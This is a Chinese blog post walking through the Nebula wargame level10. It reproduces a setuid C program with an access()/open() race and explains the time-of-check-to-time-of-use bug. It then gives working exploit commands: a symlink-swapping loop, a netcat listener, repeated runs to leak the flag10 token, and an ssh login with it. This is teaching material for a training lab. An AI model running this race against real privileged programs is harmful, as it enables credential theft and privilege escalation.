Time Of Check To Time Of Use

作者: 分类: Security,Programming 时间: 2016-10-20 评论: 暂无评论

今天在Nebula上面遇到一个有趣的Software Bug,这个bug得名字叫做Time of check to time of use

wikipedia这边写得挺多,可以先看下Time of check to time of use

下面我们来看下实际遇到的例子。

我们以level10的用户登录,flag10下有两个文件,一个是token文件(存有flag10用户的密钥),另一个可执行文件basic是用于读取文件并发送到指定地址进行输出。

basic.c

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
      exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");
          exit(EXIT_FAILURE);
      }

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));
          exit(EXIT_FAILURE);
      }

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);
  }
}

看代码可以知道bug存在于以下两句语句之间,

if(access(argv[1], R_OK) == 0)
...
    ffd = open(file, O_RDONLY);

利用的原理就是在access的时候读取到的文件是属于level10的,但是到open的时候就要变成我们想要读取的文件,也就是token。

下面上个简单粗暴的方法:

$ cd /tmp/
$ echo "fake">faketoken
$ while true;do ln -sf /home/flag10/token /tmp/tocttou;ln -sf /tmp/faketoken /tmp/tocttou;done &

# another shell to run netcat that can listen in the port 18211
$ nc-lk 18211
# run the 
$ /home/flag10/basic ./tocttou 127.0.0.1

# get the real token
$ ssh flag10@localhost
$cat /home/flag10/flag

将真正的token软链到/tmp/目录下,下一刻又把假的token软链过来覆盖,套个while,不断往复。之后运行程序读取token(可能要运行多次),即可读到token了。

这个bug看起来还是挺有趣的。

标签: C/C++

声明:文章基本原创,允许转载,但转载时必须以超链接的形式标明文章原始出处及作者信息。

添加新评论